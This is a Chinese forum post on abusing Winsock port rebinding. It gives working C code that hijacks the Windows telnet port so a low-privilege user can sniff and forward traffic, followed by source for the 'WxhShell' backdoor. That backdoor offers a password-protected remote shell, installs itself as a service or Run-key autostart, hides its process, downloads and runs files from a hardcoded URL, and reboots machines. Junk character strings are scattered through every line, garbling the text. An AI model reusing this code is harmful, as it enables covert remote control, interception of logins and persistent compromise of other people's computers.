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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nIN%<3U2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^V0{Ew /x  
dg'CHxU  
  saddr.sin_family = AF_INET; dWq/)%@t  
)W}/k$S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]B-$p p  
"k_n+cH%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^S;RX*  
J}Z_.:JO(w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rz%[o,s  
A aF5`  
  这意味着什么?意味着可以进行如下的攻击: kgbr+Yw2X  
YCLD!S/?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z%HEn$t  
_]PfeCn:j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YVg}q#  
Dry;$C}P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Oa_o"p<Lr  
O( 5L2G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1l`s1C  
J9$]]\52s.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~jRk10T(B  
UV *tO15i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xjn8)C  
PE6u8ZAb"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a*n%SUP  
:x*|lz[  
  #include r #6l?+W ;  
  #include >-tH&X^  
  #include (J;zkb  
  #include    E 4$h%5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w]5f3CIm  
  int main() 39a]B`y  
  { ptcH>wM!  
  WORD wVersionRequested; L8-[:1  
  DWORD ret; as\K(c9  
  WSADATA wsaData; C[<\ufclD  
  BOOL val; )hZ}$P1  
  SOCKADDR_IN saddr; _%p9 B#X<>  
  SOCKADDR_IN scaddr; /CQQ^/  
  int err; x8rFMR#S=  
  SOCKET s; Z :i"|;  
  SOCKET sc; ;x0KaFk  
  int caddsize; H7XxME  
  HANDLE mt; +Tc(z{;  
  DWORD tid;   <"|<)BGeI  
  wVersionRequested = MAKEWORD( 2, 2 ); {msB+n~WZ  
  err = WSAStartup( wVersionRequested, &wsaData ); "a`0w9Mm}  
  if ( err != 0 ) { *,XJN_DKj  
  printf("error!WSAStartup failed!\n"); =iN_Ug+  
  return -1; r1[T:B'  
  } MzW$Sl&:  
  saddr.sin_family = AF_INET; nKa ;FaJ  
   Jm1AJ4mw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^{sI'l~  
Ud(dWj-/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /$4?.qtu  
  saddr.sin_port = htons(23); =smY/q^3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aFc'_FrQ  
  { Y(!)G!CMc  
  printf("error!socket failed!\n"); UmI@":|-  
  return -1; 96V, [-arf  
  } 3SB7)8Id1  
  val = TRUE; /z-C :k\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HE<%d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r-"`Abev  
  { )Jjw}}$}Y  
  printf("error!setsockopt failed!\n"); pS)X\Xyw  
  return -1; )mZy>45  
  } Z 7ZMu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :V1ZeNw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l0bT_?LhK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cXE y>U|/  
(L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b({b5z.A  
  { ^@w1Z{:  
  ret=GetLastError(); P>,D$-3  
  printf("error!bind failed!\n"); {$eZF_}Y^  
  return -1; CvSG!l.6f<  
  } |;1:$E"  
  listen(s,2); o;-! ?uJ  
  while(1) S gsR;)2  
  { YG+ Yb{^"  
  caddsize = sizeof(scaddr); qpH-P8V   
  //接受连接请求 Xwq2;Bq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?#y<^oNM  
  if(sc!=INVALID_SOCKET) }z 2-|"H  
  { oDDH;Q"M(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }pZnWK+  
  if(mt==NULL) .Zz7LG{  
  { Iur} ZAz  
  printf("Thread Creat Failed!\n"); M@86u^80  
  break; g}j>;T  
  } WD1$"}R  
  } b#'a4j-u  
  CloseHandle(mt); v2z/|sG  
  } H~K2`Cr)4  
  closesocket(s); QlXF:Gx"=  
  WSACleanup(); jJnBwHp  
  return 0; bg. KkJMrR  
  }   JEkVj']?  
  DWORD WINAPI ClientThread(LPVOID lpParam) D[y|y 3F  
  { No|{rYYKK  
  SOCKET ss = (SOCKET)lpParam; %NoZf^ ?  
  SOCKET sc; #iU/Yg!  
  unsigned char buf[4096]; O|m-k0n  
  SOCKADDR_IN saddr; _$lQK{@rY  
  long num; h--!pE+  
  DWORD val; } ~bOP^'  
  DWORD ret; Vjd =F.V+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _n gMC]-T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ikiy>W8  
  saddr.sin_family = AF_INET; aN3{\^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p7tC~]r:L  
  saddr.sin_port = htons(23); ]<= t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sVnu Sm  
  { #nhAW  
  printf("error!socket failed!\n"); ^;_b!7*  
  return -1; r!uAofIi_  
  } &|;!St]!M  
  val = 100; GTe9@d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bV,R*C  
  { @/iLC6QF  
  ret = GetLastError(); ti% e.p0[  
  return -1; Uij$ eBN  
  } L  *@>/N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Cu7iHhY5  
  { 5xKR ]u  
  ret = GetLastError(); Yl=  |P`  
  return -1; B9-=.2.WU  
  } s[bKGn@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  S_6;e|  
  { _ji%BwJ  
  printf("error!socket connect failed!\n"); 4v .6_ebL  
  closesocket(sc); 5gEK$7Vp  
  closesocket(ss); vX%gcs/@  
  return -1; ~?r6Ax-R  
  } $!@f{9+  
  while(1) 7 #N @B  
  { c6|&?}F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O}V2> W$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \O~P !`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B~rK3BS  
  num = recv(ss,buf,4096,0); G_]mNh  
  if(num>0) p(>'4#|qy  
  send(sc,buf,num,0); 2S/7f:  
  else if(num==0) ZC-N4ESr  
  break; F6/bq/s  
  num = recv(sc,buf,4096,0); z{x -Vfd  
  if(num>0) EK^2 2vi$  
  send(ss,buf,num,0); NKrk*I"G  
  else if(num==0) &aOOG8l  
  break; Y$^QH.h  
  } q?\D9aT9  
  closesocket(ss); HC+R :Dz  
  closesocket(sc); 10 ^=1@U  
  return 0 ; /-lmfpT  
  } 2F(j=uV+  
v/dcb%  
*<1m 2t>.  
========================================================== UHWun I S  
d8po`J#nb  
下边附上一个代码,,WXhSHELL ZW"J]"A  
NKws;/u  
========================================================== ImVe 71mh  
^;d;b<  
#include "stdafx.h" /_8V+@im  
G39t'^ZK*#  
#include <stdio.h> v\vn}/>*d  
#include <string.h> I%Z &i-33y  
#include <windows.h> fkM4u<R^  
#include <winsock2.h> Tj:F Qnx  
#include <winsvc.h> vvCGzOv  
#include <urlmon.h> JAK*HA  
zZ63 P  
#pragma comment (lib, "Ws2_32.lib") T5)?6i -N  
#pragma comment (lib, "urlmon.lib") dWA7U6c<  
"cx" d:  
#define MAX_USER   100 // 最大客户端连接数 m" Gr pE3  
#define BUF_SOCK   200 // sock buffer :&MiO3#+  
#define KEY_BUFF   255 // 输入 buffer 04:Dbt~=?p  
4Ki'r&L\  
#define REBOOT     0   // 重启 y\x<!_&D  
#define SHUTDOWN   1   // 关机 M-_)CR  
-_+0[Nb.  
#define DEF_PORT   5000 // 监听端口 6822xk  
tp"\  
#define REG_LEN     16   // 注册表键长度 e_SlM=_ u  
#define SVC_LEN     80   // NT服务名长度 _+i-)  
)XFMlSx)  
// 从dll定义API 9z#IdY$a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]@EjKgs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lfor 0-j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W7 $yE},z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N ~Gh>{N  
+;T%7j"wz  
// wxhshell配置信息 5"+* c@L  
struct WSCFG { {ib`mC^  
  int ws_port;         // 监听端口 s*;~CH-[  
  char ws_passstr[REG_LEN]; // 口令 UOyP6ej  
  int ws_autoins;       // 安装标记, 1=yes 0=no U4g ZW]F  
  char ws_regname[REG_LEN]; // 注册表键名 `#hy'S:e  
  char ws_svcname[REG_LEN]; // 服务名 2mRso.Ah  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B(~D*H2T[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9I9)5`d|Jn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .|K5b]na  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \hz)oC   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q:( K^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lWR  
v'uQ'CiH  
}; IKt9=Tx  
D~<GVp5T  
// default Wxhshell configuration fN9hBC@  
struct WSCFG wscfg={DEF_PORT, ^U1;5+2G+~  
    "xuhuanlingzhe", shD$,! k  
    1, >z2 {D7  
    "Wxhshell", -v:Y\=[\  
    "Wxhshell", ${?Px c{-  
            "WxhShell Service", qQb8K+t  
    "Wrsky Windows CmdShell Service", ,F1$Of/'@\  
    "Please Input Your Password: ", 2:]Sy4K{  
  1, ny}?+&K  
  "http://www.wrsky.com/wxhshell.exe", r=vE0;7  
  "Wxhshell.exe" 2b<0g@~X  
    }; z}5XLa^  
Y9Pb  
// 消息定义模块 !vU[V,~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =LC5o2bLy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; = #`FXO1C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q{%ow:;s*  
char *msg_ws_ext="\n\rExit."; lm+wjhkN  
char *msg_ws_end="\n\rQuit."; .p&M@h w  
char *msg_ws_boot="\n\rReboot..."; /w|YNDA]j  
char *msg_ws_poff="\n\rShutdown..."; =<<\Uo  
char *msg_ws_down="\n\rSave to "; ?lTQjw{  
U|>Js!$  
char *msg_ws_err="\n\rErr!"; a P`;Nr=  
char *msg_ws_ok="\n\rOK!"; !U91  
OSBE5  
char ExeFile[MAX_PATH]; hk~ s1"  
int nUser = 0; {*: C$"L  
HANDLE handles[MAX_USER]; )TxhJB5|  
int OsIsNt; V{8mx70  
V/03m3!q  
SERVICE_STATUS       serviceStatus; >uVG]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F$caKWzny5  
__a9}m4i7x  
// 函数声明 7':|f"  
int Install(void); aW"BN 5eM>  
int Uninstall(void); -+z^{*\; N  
int DownloadFile(char *sURL, SOCKET wsh); GK)hK-  
int Boot(int flag); *2 [r?!  
void HideProc(void); \d6A<(!=v  
int GetOsVer(void); {BF$N#7  
int Wxhshell(SOCKET wsl); Dd*C?6  
void TalkWithClient(void *cs); x[_+U4-/  
int CmdShell(SOCKET sock); Ft07>E$/Q^  
int StartFromService(void); 0g1uM:;  
int StartWxhshell(LPSTR lpCmdLine); ] `lTkh  
CkOd>Kn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f#!Ljjf$;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8r~4iVwg  
rtPQ:CaA)?  
// 数据结构和表定义 wy7f7zIa  
SERVICE_TABLE_ENTRY DispatchTable[] = ?&[`=ZVn  
{ a{y ;Ub  
{wscfg.ws_svcname, NTServiceMain}, P:Bg()  
{NULL, NULL} I!{5*~ 3  
}; f\ Qi()  
Er{yQIi0L  
// 自我安装 \KTX{qI"f  
int Install(void) oR5'g7?  
{ FN G]  
  char svExeFile[MAX_PATH]; um[.r,++  
  HKEY key; w|NLK  
  strcpy(svExeFile,ExeFile); 3t8VH`!mL{  
1%>/%eyn5  
// 如果是win9x系统,修改注册表设为自启动 -&+[/  
if(!OsIsNt) { VLRW,lR9O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wu:evaZ:i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `CRW2^g  
  RegCloseKey(key); u-8,9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tYVmB:l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pJV<#<#Z  
  RegCloseKey(key); t1D6#JP(a  
  return 0; @xmL?wz  
    } Qv#]T,  
  } BYRf MtT@+  
} SI-s:%O  
else { M-eX>}CDm  
-2f_e3jF  
// 如果是NT以上系统,安装为系统服务 Lb(=:Z!{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B%[Yu3gBo  
if (schSCManager!=0) [/'W#x  
{ oB+drDp8U  
  SC_HANDLE schService = CreateService x2 l~aw#?  
  ( e~xN[Q\0]  
  schSCManager, |'.\}xt7  
  wscfg.ws_svcname, BjSLbw-C  
  wscfg.ws_svcdisp, )[>{ Ie2  
  SERVICE_ALL_ACCESS, Py K)ks!6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >Ka}v:E  
  SERVICE_AUTO_START, u1rT:\G1  
  SERVICE_ERROR_NORMAL, y4+Km*am,W  
  svExeFile, Oo$i,|$$  
  NULL, usU5q>1  
  NULL, wgY: W:y'N  
  NULL, ttgb"Wb%S  
  NULL, ]e!9{\X,*  
  NULL Y'0H2B8  
  ); dxsPX =\:  
  if (schService!=0) |%Pd*yZA  
  { CnN PziB  
  CloseServiceHandle(schService); ~8Z)e7 j  
  CloseServiceHandle(schSCManager); `C$.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !2=< MO  
  strcat(svExeFile,wscfg.ws_svcname); z`XX[9$qm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F8KSB"!NR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2{(_{9<>z  
  RegCloseKey(key); ]U82A**n  
  return 0; wMr*D['" #  
    } ve<D[jQsk  
  } rjz$~(&m6  
  CloseServiceHandle(schSCManager); }Dp/K4  
} | <gYzb q  
} 741Sd8  
*6<<6f`(  
return 1; ,Tjc\;~%  
} _ ZMoPEW  
Q3T@=z2j%  
// 自我卸载 e-Mei7{%  
int Uninstall(void) VBo=*gn,$  
{ C8ek{o)%W  
  HKEY key; Dg W*Br8<  
Y'H|Tk^`  
if(!OsIsNt) { r1ao=N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2M@,g8O+B=  
  RegDeleteValue(key,wscfg.ws_regname); ~qT5F)$B-  
  RegCloseKey(key);  b"iPuN!p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;<hLy(@  
  RegDeleteValue(key,wscfg.ws_regname); <*oTVl4fS  
  RegCloseKey(key); lk;4l Z  
  return 0; m7!M stu  
  } n3 y`='D  
} Yv>kToa\^  
} OO#_ 0qK  
else { y\k#83aU|  
opqY@>Vh&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Z-o2+xA  
if (schSCManager!=0) "n'kv!?\  
{ F=EG#<@u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); juIi-*R!  
  if (schService!=0) :Y>FuE  
  { x4v@o?zW  
  if(DeleteService(schService)!=0) { 4j_\_:$w<  
  CloseServiceHandle(schService); PUcxlD/a}  
  CloseServiceHandle(schSCManager); S\io5|P  
  return 0; -?z#  
  } )xm[mvt  
  CloseServiceHandle(schService); {#y~ Qk;T  
  } ?sD4S   
  CloseServiceHandle(schSCManager); OGcq]ue  
} Gu@n1/m@o  
} 37<^Oly!  
%>Q[j`9y  
return 1; c]}F$[>oN'  
} mUA!GzJ~u-  
SR_<3WW  
// 从指定url下载文件 ?te~[_oT  
int DownloadFile(char *sURL, SOCKET wsh) y90wL U9f  
{ tzJ7wXRr  
  HRESULT hr; ,i)wS1@  
char seps[]= "/"; zCji]:  
char *token; 18nT Iz_  
char *file; @k+ K_gR  
char myURL[MAX_PATH]; QlE]OAdB42  
char myFILE[MAX_PATH]; WIKSz {"=/  
L _D#  
strcpy(myURL,sURL); z=/&tRe W  
  token=strtok(myURL,seps); &$yxAqdab  
  while(token!=NULL) 7D&O5Z=%+  
  { /#}o19(-d  
    file=token; ;x.5_Xw{.  
  token=strtok(NULL,seps); 3FY87R   
  } j[CXIz?c  
<c3Te$.  
GetCurrentDirectory(MAX_PATH,myFILE); y=!7PB_\|  
strcat(myFILE, "\\"); %\^VxM  
strcat(myFILE, file); L;h|Sk]{  
  send(wsh,myFILE,strlen(myFILE),0); fDjJdRS"  
send(wsh,"...",3,0); 4v.{C"M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); swKqsN.  
  if(hr==S_OK) 7?ICXhu9  
return 0; UMUG~P&@  
else ;W{2\ Es  
return 1; +?)R}\\  
#(7^V y&  
} 'pj*6t1~  
<P~pn!F}  
// 系统电源模块 vN&(__3((  
int Boot(int flag) ;oCSKY4  
{ |_njN  
  HANDLE hToken; S ^]mF>xX8  
  TOKEN_PRIVILEGES tkp; uA4x xY  
muAgsH$/  
  if(OsIsNt) { =O%'qUj`q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =&Z#QD"vl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @.)WS\Cv#E  
    tkp.PrivilegeCount = 1; 0oQJ}8t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @d|3c7` A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2Q%*` vCuV  
if(flag==REBOOT) { U4=m>Ty  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  qC6@  
  return 0; J4%"38l  
} #f@}$@  
else { pz=/A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K;7ea47m N  
  return 0; @4G{L8Q}  
} @>*r2=#14  
  } `y>BbJqy  
  else { ~6=aoF5"3?  
if(flag==REBOOT) { a$K6b5`>Rs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) osn ,kD*  
  return 0; +2+|zXmT  
} XTJA"y  
else { "m > BE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4Ss*h,Y  
  return 0; `m}G{jfk  
} Y0yu,   
} ~p?D[]h  
.On3ZN  
return 1; h<G7ocu!  
} ; GEr8_7  
s14D(:t(  
// win9x进程隐藏模块 Vkf c&+  
void HideProc(void) OP|X-  
{ b ,x$wP+  
b#-=Dbe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?)gc;K  
  if ( hKernel != NULL ) <m/XGFc  
  { r{{5@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @6M>x=n5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [9d\WPLC  
    FreeLibrary(hKernel); ;OC{B}.vH  
  } G<P/COI#M5  
[0D.+("EW  
return; =om<*\vsO  
} +&r=XJ5:`p  
XVF!l>nE  
// 获取操作系统版本 GX'S4B  
int GetOsVer(void) M?5voV*  
{ Ej $.x6:  
  OSVERSIONINFO winfo; U8{^-#(Uz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _hgGF9  
  GetVersionEx(&winfo); ydMhb367|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \*M;W|8aB  
  return 1; O>>/2V9  
  else !D!"ftOm  
  return 0; -Un"z6*  
} uqVarRi$  
xt6%[)  
// 客户端句柄模块 3L-$+j~u  
int Wxhshell(SOCKET wsl) 'Z|Czd8E  
{ ^ U);MH8  
  SOCKET wsh; O;$}j:;KF  
  struct sockaddr_in client; p0D@O_ :5  
  DWORD myID; 8@ S@^C*F  
,Iru_=Wk~  
  while(nUser<MAX_USER) L#WGOl  
{ "EVf1iQ  
  int nSize=sizeof(client); '!`| H 3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9rIv-&7'm  
  if(wsh==INVALID_SOCKET) return 1; ixL[(*V  
TEla?N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^x Z=";eq  
if(handles[nUser]==0) Uu|2!}^T  
  closesocket(wsh); 4b+_|kYb  
else :Dfl,=S  
  nUser++; x_9#:_S'  
  } ltyhYPS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s )Xz}QPK.  
']d(m?  
  return 0; o=-Af|#b  
} 2*V]jO  
!?sB=qo  
// 关闭 socket >`|Wg@_  
void CloseIt(SOCKET wsh) <?:h(IZe[  
{ 2V~uPZ  
closesocket(wsh); m {&lU@uL  
nUser--; vs>Pd |p;  
ExitThread(0); (w`_{%T  
} 3v&Shb?xb;  
oFhBq0@  
// 客户端请求句柄 aWNj l  
void TalkWithClient(void *cs) S~W;Ld<>fB  
{ efuiFN;  
Q[FDk63;w  
  SOCKET wsh=(SOCKET)cs; wc#k@"2AZb  
  char pwd[SVC_LEN]; r*ziO#[  
  char cmd[KEY_BUFF]; [ {HTGz@(  
char chr[1]; TxH amI l  
int i,j; og_ylCh:  
BjHp3-A'  
  while (nUser < MAX_USER) { 8bf@<VTO_  
E&Zt<pRf;2  
if(wscfg.ws_passstr) { fl4 0jo]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8@){\.M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a p(PI?]X  
  //ZeroMemory(pwd,KEY_BUFF); '*EKi  
      i=0; '+GY6Ecg  
  while(i<SVC_LEN) { O_ vH w^  
Js.G hTs  
  // 设置超时 +HjSU2  
  fd_set FdRead; Zad>i w}  
  struct timeval TimeOut; S_^;#=_c  
  FD_ZERO(&FdRead); =iB$4d2  
  FD_SET(wsh,&FdRead); ;Zc0imYL  
  TimeOut.tv_sec=8; qxcTY|&  
  TimeOut.tv_usec=0; N8,g~?r^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "Z~@"JLb%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t3*.Bm:^  
}2^qM^,0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W e*uZ?+  
  pwd=chr[0]; $@w ,9J\  
  if(chr[0]==0xd || chr[0]==0xa) { ^E)8Sb9t  
  pwd=0; Galh _;=  
  break; n]nJ$u1u  
  } )TBm?VMe  
  i++; uL:NWgN  
    } e;LC\*dG  
j3S!uA?  
  // 如果是非法用户,关闭 socket ?T,a(m<i {  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |+Z-'k~Q  
} _,? xc"  
b?<@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uZ+"-Ig  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &i6JBZ#~,  
aCi)icn$  
while(1) { mR|']^!SE  
"*S_wN%  
  ZeroMemory(cmd,KEY_BUFF); &x4*YM h  
fo <nk|i  
      // 自动支持客户端 telnet标准   TkIiO>  
  j=0; ks,d4b=->  
  while(j<KEY_BUFF) { h\5~&}Hp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m63>P4h?  
  cmd[j]=chr[0]; 9|NF)~Q}'  
  if(chr[0]==0xa || chr[0]==0xd) { A;e"_$yt8  
  cmd[j]=0; DcC|oU[  
  break; d7uS[tKqg  
  } #Fgybokm  
  j++; 2Ky|+s[`[  
    } dKevhm)R"  
5A%Uv*  
  // 下载文件 M5x MTP-  
  if(strstr(cmd,"http://")) { (Zej\lEN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |`|zo+aW  
  if(DownloadFile(cmd,wsh)) 9`CJhu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0IHAoV60  
  else \5a;_N[Ed  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a=sd&](_  
  } &o&}5Aba9  
  else { J<9}) m  
#%/Jr 52<  
    switch(cmd[0]) { mi@uX@ #  
  iszVM  
  // 帮助  feM(  
  case '?': { 07\]8^/G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bn=7$Ax  
    break; f:AfMf>m  
  } 9niffq)h  
  // 安装 tiR i_  
  case 'i': { J/rF4=j%xy  
    if(Install()) <"S`ZOn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j9}.U \  
    else c0_512  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H2+V1J=  
    break; -k%|sqDZj  
    } _^$F^}{&  
  // 卸载 ~| oB|>  
  case 'r': { zs'Jgm.v  
    if(Uninstall()) H1 i+j;RN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y~I0\8s-  
    else cet|k!   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +O8}twt@  
    break; <d[GGkY]=  
    } M=1~BZQ(Z  
  // 显示 wxhshell 所在路径 E};1 H  
  case 'p': { l {\k\Q!4  
    char svExeFile[MAX_PATH]; <! *O[0s  
    strcpy(svExeFile,"\n\r"); @mcP-  
      strcat(svExeFile,ExeFile); =`!# V/=  
        send(wsh,svExeFile,strlen(svExeFile),0); \SWuylE  
    break; ZfS"  
    } Y+EwBg)co  
  // 重启 aCyn9Y$=  
  case 'b': { D+h`Z]"|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R0nUS<b0  
    if(Boot(REBOOT)) ,0?3k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qg*xdefQ%  
    else { xj5MKX{CJT  
    closesocket(wsh); DtZ7UX\P  
    ExitThread(0); 3'7X[{uBr  
    } n0uL^{B  
    break; VT;cz6"6b4  
    } _z#S8Y  
